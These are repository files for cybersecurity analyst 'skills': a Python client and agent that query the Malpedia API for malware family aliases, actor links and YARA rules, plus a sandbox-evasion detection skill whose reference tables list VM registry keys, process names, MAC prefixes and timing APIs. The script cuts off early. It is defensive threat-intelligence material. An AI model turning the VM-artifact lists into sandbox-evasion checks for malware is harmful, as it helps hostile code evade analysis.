or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,288 @@
---
name: analyzing-malware-family-relationships-with-malpedia
description: Query the Malpedia API to look up malware family aliases and naming
(platform.family_name), pull community/vendor YARA rules, link families to threat
actors, and map family relationships such as loader-payload chains and shared authorship.
Use when researching a malware family's aliases, lineage, or actor attribution,
or when sourcing YARA rules for detection.
domain: cybersecurity
subdomain: threat-intelligence
tags:
- malpedia
- malware-family
- yara
- threat-actor
- malware-tracking
- threat-intelligence
- variant-analysis
- malware-intelligence
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-05
- DE.CM-01
- DE.AE-02
mitre_attack:
- T1587.001
- T1027
- T1071
---
# Analyzing Malware Family Relationships with Malpedia
## Overview
Malpedia is a collaborative platform maintained by Fraunhofer FKIE that catalogs malware families with their aliases, YARA rules, threat actor associations, and reference reports. With over 2,600 malware families documented, it serves as the definitive resource for understanding malware lineages, tracking variant evolution, and linking malware to specific threat groups. This skill covers querying the Malpedia API, mapping malware family relationships, extracting YARA rules for detection, and building intelligence on malware ecosystems used by adversaries.
## When to Use
- When investigating security incidents that require analyzing malware family relationships with malpedia
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Python 3.9+ with `requests`, `yara-python`, `stix2` libraries
- Malpedia API key (register at https://malpedia.caad.fkie.fraunhofer.de/)
- Understanding of malware classification and naming conventions
- Familiarity with YARA rule syntax for detection
- Access to malware samples for validation (optional)
## Key Concepts
### Malpedia Data Model
Malpedia organizes malware into Families (e.g., "win.cobalt_strike"), each containing: aliases (vendor-specific names like "Beacon", "CobaltStrike"), YARA rules (community and vendor-contributed), actor associations (threat groups using the family), reference reports (CTI reports documenting the family), and sample hashes (representative samples for each variant).
### Malware Family Naming
Malpedia uses the format `platform.family_name` (e.g., `win.emotet`, `elf.mirai`, `apk.flubot`). Platforms include win (Windows), elf (Linux), apk (Android), osx (macOS), and py (Python). This standardized naming resolves the "many names" problem where different vendors assign different names to the same malware.
### Family Relationships
Malware families have relationships including: parent-child (code reuse, forks), loader-payload (Emotet loads TrickBot loads Ryuk), shared authorship (same threat actor develops multiple tools), and infrastructure sharing (common C2 frameworks).
## Workflow
### Step 1: Query Malpedia API for Malware Families
```python
import requests
import json
from collections import defaultdict
class MalpediaClient:
BASE_URL = "https://malpedia.caad.fkie.fraunhofer.de/api"
def __init__(self, api_key):
self.headers = {"Authorization": f"apitoken {api_key}"}
def get_family_list(self):
"""Get list of all malware families."""
resp = requests.get(f"{self.BASE_URL}/list/families",
headers=self.headers, timeout=30)
if resp.status_code == 200:
families = resp.json()
print(f"[+] Malpedia: {len(families)} malware families")
return families
return {}
def get_family_info(self, family_name):
"""Get detailed information about a malware family."""
resp = requests.get(f"{self.BASE_URL}/get/family/{family_name}",
headers=self.headers, timeout=30)
if resp.status_code == 200:
info = resp.json()
print(f"[+] Family: {family_name}")
print(f" Aliases: {info.get('alt_names', [])}")
print(f" Actors: {[a.get('value', '') for a in info.get('attribution', [])]}")
print(f" URLs: {len(info.get('urls', []))} references")
return info
print(f"[-] Family not found: {family_name}")
return None
def get_family_yara(self, family_name):
"""Get YARA rules for a malware family."""
resp = requests.get(f"{self.BASE_URL}/get/yara/{family_name}",
headers=self.headers, timeout=30)
if resp.status_code == 200:
rules = resp.json()
rule_count = sum(len(v) for v in rules.values()) if isinstance(rules, dict) else 0
print(f"[+] YARA rules for {family_name}: {rule_count} rules")
return rules
return {}
def get_actor_families(self, actor_name):
"""Get malware families associated with a threat actor."""
resp = requests.get(f"{self.BASE_URL}/get/actor/{actor_name}",
headers=self.headers, timeout=30)
if resp.status_code == 200:
data = resp.json()
families = data.get("families", {})
print(f"[+] {actor_name}: {len(families)} malware families")
return data
return {}
def search_families(self, keyword):
"""Search families by keyword."""
all_families = self.get_family_list()
matches = {
name: info for name, info in all_families.items()
if keyword.lower() in name.lower()
or keyword.lower() in str(info.get("alt_names", [])).lower()
}
print(f"[+] Search '{keyword}': {len(matches)} matches")
return matches
client = MalpediaClient("YOUR_MALPEDIA_API_KEY")
families = client.get_family_list()
emotet_info = client.get_family_info("win.emotet")
```
### Step 2: Map Malware Family Relationships
```python
class MalwareFamilyMapper:
def __init__(self, malpedia_client):
self.client = malpedia_client
self.relationship_graph = defaultdict(list)
def map_actor_ecosystem(self, actor_name):
"""Map the malware ecosystem used by a threat actor."""
actor_data = self.client.get_actor_families(actor_name)
families = actor_data.get("families", {})
ecosystem = {
"actor": actor_name,
"families": [],
"family_count": len(families),
}
for family_name in families:
info = self.client.get_family_info(family_name)
if info:
ecosystem["families"].append({
"name": family_name,
"aliases": info.get("alt_names", []),
"description": info.get("description", "")[:200],
"shared_actors": [
a.get("value", "")
for a in info.get("attribution", [])
],
"reference_count": len(info.get("urls", [])),
})
print(f"\n=== {actor_name} Malware Ecosystem ===")
for fam in ecosystem["families"]:
shared = [a for a in fam["shared_actors"] if a != actor_name]
print(f" {fam['name']}")
print(f" Aliases: {fam['aliases'][:5]}")
if shared:
print(f" Also used by: {shared}")
return ecosystem
def find_shared_tooling(self, actor_names):
"""Find malware families shared between threat actors."""
actor_families = {}
for actor in actor_names:
data = self.client.get_actor_families(actor)
actor_families[actor] = set(data.get("families", {}).keys())
# Find overlaps
shared = {}
for i, actor1 in enumerate(actor_names):
for actor2 in actor_names[i+1:]:
common = actor_families[actor1] & actor_families[actor2]
if common:
shared[f"{actor1} <-> {actor2}"] = sorted(common)
print(f"\n=== Shared Tooling Analysis ===")
for pair, families in shared.items():
print(f" {pair}: {len(families)} shared families")
for f in families[:5]:
print(f" - {f}")
return shared
def build_loader_payload_chain(self, family_name):
"""Build the loader-payload delivery chain for a family."""
info = self.client.get_family_info(family_name)
if not info:
return {}
chain = {
"family": family_name,
"description": info.get("description", ""),
"known_loaders": [],
"known_payloads": [],
}
# Common known delivery chains
known_chains = {
"win.emotet": {"loaders": ["email/macro"], "payloads": ["win.trickbot", "win.qakbot", "win.cobalt_strike"]},
"win.trickbot": {"loaders": ["win.emotet"], "payloads": ["win.ryuk", "win.conti", "win.cobalt_strike"]},
"win.qakbot": {"loaders": ["email/macro", "win.emotet"], "payloads": ["win.cobalt_strike", "win.blackbasta"]},
"win.cobalt_strike": {"loaders": ["win.emotet", "win.trickbot", "win.qakbot"], "payloads": ["ransomware"]},
}
if family_name in known_chains:
chain["known_loaders"] = known_chains[family_name]["loaders"]
chain["known_payloads"] = known_chains[family_name]["payloads"]
return chain
mapper = MalwareFamilyMapper(client)
ecosystem = mapper.map_actor_ecosystem("Wizard Spider")
shared = mapper.find_shared_tooling(["Wizard Spider", "FIN7", "Lazarus Group"])
chain = mapper.build_loader_payload_chain("win.emotet")
```
### Step 3: Extract and Compile YARA Rules
```python
def compile_yara_ruleset(client, family_names, output_file="malware_yara_rules.yar"):
"""Compile YARA rules for multiple malware families."""
all_rules = []
for family in family_names:
yara_data = client.get_family_yara(family)
if isinstance(yara_data, dict):
for source, rules in yara_data.items():
if isinstance(rules, list):
for rule in rules:
all_rules.append(f"// Source: {source} - Family: {family}\n{rule}")
elif isinstance(rules, str):
all_rules.append(f"// Source: {source} - Family: {family}\n{rules}")
with open(output_file, "w") as f:
f.write(f"// Malpedia YARA Rules - {len(all_rules)} rules\n")
f.write(f"// Families: {', '.join(family_names)}\n\n")
for rule in all_rules:
f.write(rule + "\n\n")
print(f"[+] Compiled {len(all_rules)} YARA rules to {output_file}")
return all_rules
compile_yara_ruleset(client, ["win.emotet", "win.trickbot", "win.cobalt_strike"])
```
## Validation Criteria
- Malpedia API queried successfully for malware families
- Family information retrieved with aliases, actors, and references
- Actor-family relationships mapped correctly
- Shared tooling between actors identified
- YARA rules extracted and compiled for detection
- Loader-payload chains documented for threat intelligence
## References
- [Malpedia Platform](https://malpedia.caad.fkie.fraunhofer.de/)
- [Malpedia API Documentation](https://malpedia.caad.fkie.fraunhofer.de/usage/api)
- [Malpedia Research Paper](https://www.botconf.eu/wp-content/uploads/formidable/2/2017-DanielPlohmann-Malpedia.pdf)
- [YARA Rules Project](https://github.com/Yara-Rules/rules)
- [malwoverview Multi-Platform Tool](https://github.com/alexandreborges/malwoverview)
- [CyberAtlas: Malpedia Integration](https://www.cyberatlas.io/malpedia)

View File

@@ -0,0 +1,68 @@
# API Reference: Malpedia Malware Family Analysis
## Base URL
```
https://malpedia.caad.fkie.fraunhofer.de/api
```
## Authentication
```
Authorization: apitoken YOUR_API_KEY
```
## List Families
```
GET /list/families
```
Returns dict of `{family_name: {alt_names, description, attribution, urls}}`.
## Get Family Details
```
GET /get/family/{family_name}
```
| Field | Description |
|-------|-------------|
| `common_name` | Primary family name |
| `alt_names` | List of alternative names |
| `description` | Family description |
| `attribution` | List of attributed threat actors |
| `urls` | Reference URLs |
## Get YARA Rules
```
GET /get/yara/{family_name}
```
Returns dict of YARA rules keyed by rule source.
## List Actors
```
GET /list/actors
```
Returns dict of `{actor_name: {alt_names, description, families}}`.
## Get Actor Details
```
GET /get/actor/{actor_name}
```
| Field | Description |
|-------|-------------|
| `common_name` | Actor name |
| `description` | Actor profile |
| `families` | Associated malware families |
| `alt_names` | Alternative names (APT designations) |
## Get Sample
```
GET /get/sample/{sha256}
GET /get/sample/{sha256}/zip
```
## Relationship Types
| Relation | Description |
|----------|-------------|
| `also_known_as` | Family alias |
| `shared_actor` | Families used by same threat actor |
| `variant_of` | Derived malware variant |
## MITRE ATT&CK
- T1587.001 - Develop Capabilities: Malware

View File

@@ -0,0 +1,154 @@
#!/usr/bin/env python3
"""Malpedia Malware Family Relationship Agent - Queries Malpedia API for malware family intelligence."""
import json
import logging
import argparse
from datetime import datetime
from collections import defaultdict
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
MALPEDIA_API = "https://malpedia.caad.fkie.fraunhofer.de/api"
def malpedia_get(endpoint, api_key):
"""Make authenticated GET request to Malpedia API."""
headers = {"Authorization": f"apitoken {api_key}"}
resp = requests.get(f"{MALPEDIA_API}{endpoint}", headers=headers, timeout=30)
resp.raise_for_status()
return resp.json()
def list_families(api_key):
"""List all malware families from Malpedia."""
data = malpedia_get("/list/families", api_key)
logger.info("Retrieved %d malware families", len(data))
return data
def get_family_info(family_name, api_key):
"""Get detailed info for a malware family."""
return malpedia_get(f"/get/family/{family_name}", api_key)
def get_family_yara(family_name, api_key):
"""Get YARA rules for a malware family."""
return malpedia_get(f"/get/yara/{family_name}", api_key)
def list_actors(api_key):
"""List all threat actors from Malpedia."""
data = malpedia_get("/list/actors", api_key)
logger.info("Retrieved %d threat actors", len(data))
return data
def get_actor_info(actor_name, api_key):
"""Get detailed info for a threat actor."""
return malpedia_get(f"/get/actor/{actor_name}", api_key)
def build_family_graph(families_data):
"""Build relationship graph between malware families."""
relationships = []
family_actors = defaultdict(list)
for family_name, info in families_data.items():
if not isinstance(info, dict):
continue
alt_names = info.get("alt_names", [])
actors = info.get("attribution", [])
urls = info.get("urls", [])
for actor in actors:
family_actors[actor].append(family_name)
for alt in alt_names:
relationships.append({
"source": family_name,
"target": alt,
"relation": "also_known_as",
})
for actor, actor_families in family_actors.items():
if len(actor_families) > 1:
for i in range(len(actor_families)):
for j in range(i + 1, len(actor_families)):
relationships.append({
"source": actor_families[i],
"target": actor_families[j],
"relation": "shared_actor",
"actor": actor,
})
return relationships, dict(family_actors)
def analyze_family(family_name, api_key):
"""Analyze a specific malware family and its relationships."""
info = get_family_info(family_name, api_key)
result = {
"family": family_name,
"description": info.get("description", ""),
"alt_names": info.get("alt_names", []),
"attribution": info.get("attribution", []),
"urls": info.get("urls", [])[:10],
"common_name": info.get("common_name", ""),
}
try:
yara_data = get_family_yara(family_name, api_key)
result["yara_rule_count"] = len(yara_data) if isinstance(yara_data, dict) else 0
except requests.RequestException:
result["yara_rule_count"] = 0
return result
def generate_report(families_analyzed, relationships, actor_map):
"""Generate malware family relationship report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"families_analyzed": len(families_analyzed),
"relationships_found": len(relationships),
"actors_mapped": len(actor_map),
"family_details": families_analyzed,
"relationships": relationships[:200],
"actor_family_map": {a: f for a, f in list(actor_map.items())[:50]},
}
print(f"MALPEDIA REPORT: {len(families_analyzed)} families, {len(relationships)} relationships, {len(actor_map)} actors")
return report
def main():
parser = argparse.ArgumentParser(description="Malpedia Malware Family Analysis Agent")
parser.add_argument("--api-key", required=True, help="Malpedia API key")
parser.add_argument("--family", help="Specific family to analyze")
parser.add_argument("--list-families", action="store_true")
parser.add_argument("--build-graph", action="store_true", help="Build full relationship graph")
parser.add_argument("--output", default="malpedia_report.json")
args = parser.parse_args()
families_analyzed = []
relationships = []
actor_map = {}
if args.family:
result = analyze_family(args.family, args.api_key)
families_analyzed.append(result)
elif args.build_graph:
all_families = list_families(args.api_key)
relationships, actor_map = build_family_graph(all_families)
elif args.list_families:
all_families = list_families(args.api_key)
families_analyzed = [{"family": k, "alt_names": v.get("alt_names", []) if isinstance(v, dict) else []} for k, v in list(all_families.items())[:100]]
report = generate_report(families_analyzed, relationships, actor_map)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,71 @@
---
name: analyzing-malware-sandbox-evasion-techniques
description: Detect sandbox and VM evasion techniques in malware samples by analyzing
timing checks, VM/hypervisor artifact queries, user-interaction checks, and sleep-inflation
patterns from Cuckoo or AnyRun behavioral reports. Use when a sample shows no or
minimal activity in a sandbox, when a behavioral report needs review for evasion
indicators, or when building detections for anti-analysis techniques.
domain: cybersecurity
subdomain: malware-analysis
tags:
- sandbox-evasion
- malware-analysis
- cuckoo
- anyrun
- mitre-attack
- virtualization-detection
- behavioral-analysis
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Platform Hardening
- Restore Object
- Process Analysis
- System Call Filtering
- Restore Software
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1497.001
- T1497.003
- T1480
- T1027.002
---
# Analyzing Malware Sandbox Evasion Techniques
## Overview
Sandbox evasion (MITRE ATT&CK T1497) allows malware to detect analysis environments and alter behavior to avoid detection. This skill analyzes behavioral reports from Cuckoo Sandbox and AnyRun for evasion indicators including timing-based checks (GetTickCount, QueryPerformanceCounter, sleep inflation), VM artifact detection (registry keys, MAC address prefixes, process names like vmtoolsd.exe), user interaction checks (mouse movement, keyboard input), and environment fingerprinting (disk size, CPU count, RAM). Detection rules flag samples exhibiting these behaviors for deeper manual analysis.
## When to Use
- When investigating security incidents that require analyzing malware sandbox evasion techniques
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Cuckoo Sandbox 2.0+ or AnyRun account for behavioral analysis reports
- Python 3.8+ with json library for report parsing
- Behavioral report exports in JSON format
## Steps
1. Parse Cuckoo/AnyRun behavioral report JSON files
2. Extract API call sequences for timing-related functions
3. Identify VM artifact detection via registry queries and WMI calls
4. Detect sleep inflation by comparing requested vs actual sleep durations
5. Flag user interaction checks (GetCursorPos, GetAsyncKeyState patterns)
6. Score evasion sophistication based on technique count and diversity
7. Map detected techniques to MITRE ATT&CK T1497 sub-techniques
## Expected Output
JSON report listing detected evasion techniques with MITRE ATT&CK mapping, API call evidence, evasion sophistication score, and classification of evasion categories (timing, VM detection, user interaction, environment fingerprinting).

View File

@@ -0,0 +1,84 @@
# Malware Sandbox Evasion Techniques API Reference
## MITRE ATT&CK T1497 Sub-techniques
| Sub-technique | ID | Evasion Method |
|---|---|---|
| System Checks | T1497.001 | VM artifacts, registry keys, MAC prefixes, process names |
| User Activity Based Checks | T1497.002 | Mouse movement, keyboard input, foreground window |
| Time Based Evasion | T1497.003 | GetTickCount, sleep inflation, RDTSC timing |
## Cuckoo Sandbox Report JSON Structure
### API Call Format
```json
{
"behavior": {
"processes": [
{
"process_name": "malware.exe",
"pid": 1234,
"calls": [
{
"api": "GetTickCount",
"category": "system",
"arguments": {},
"return": "123456789"
}
]
}
]
}
}
```
## Timing API Indicators
| API | Purpose | Evasion Use |
|---|---|---|
| GetTickCount / GetTickCount64 | System uptime in ms | Check if uptime < 20min (sandbox) |
| QueryPerformanceCounter | High-res timer | Measure sleep accuracy |
| GetSystemTimeAsFileTime | System time | Detect time acceleration |
| NtQuerySystemTime | Kernel time query | Compare with user-mode time |
| RDTSC | CPU timestamp counter | Detect VM overhead in timing |
## VM Artifact Indicators
### Registry Keys
```
HKLM\SOFTWARE\VMware, Inc.\VMware Tools
HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
HKLM\HARDWARE\ACPI\DSDT\VBOX__
HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest
```
### VM Process Names
```
vmtoolsd.exe, vmwaretray.exe # VMware
vboxservice.exe, vboxtray.exe # VirtualBox
qemu-ga.exe # QEMU
prl_tools.exe # Parallels
```
### VM MAC Address Prefixes
```
00:0C:29 VMware
00:50:56 VMware
08:00:27 VirtualBox
00:1C:42 Parallels
52:54:00 QEMU/KVM
```
## AnyRun Report API
### Get Report
```
GET https://api.any.run/v1/analysis/{task_id}
Authorization: API-Key <key>
```
## CLI Usage
```bash
python agent.py --report cuckoo_report.json --output evasion_report.json
python agent.py --report report.json --min-sleep-ms 30000
```

View File

@@ -0,0 +1,204 @@
#!/usr/bin/env python3
"""Analyze malware sandbox evasion techniques from Cuckoo/AnyRun behavioral reports."""
import json
import argparse
from datetime import datetime
TIMING_APIS = {
"GetTickCount", "GetTickCount64", "QueryPerformanceCounter",
"QueryPerformanceFrequency", "GetSystemTimeAsFileTime", "NtQuerySystemTime",
"timeGetTime", "GetLocalTime", "GetSystemTime",
}
SLEEP_APIS = {"Sleep", "SleepEx", "NtDelayExecution", "WaitForSingleObject"}
VM_REGISTRY_KEYS = [
"HKLM\\SOFTWARE\\VMware", "HKLM\\SOFTWARE\\Oracle\\VirtualBox",
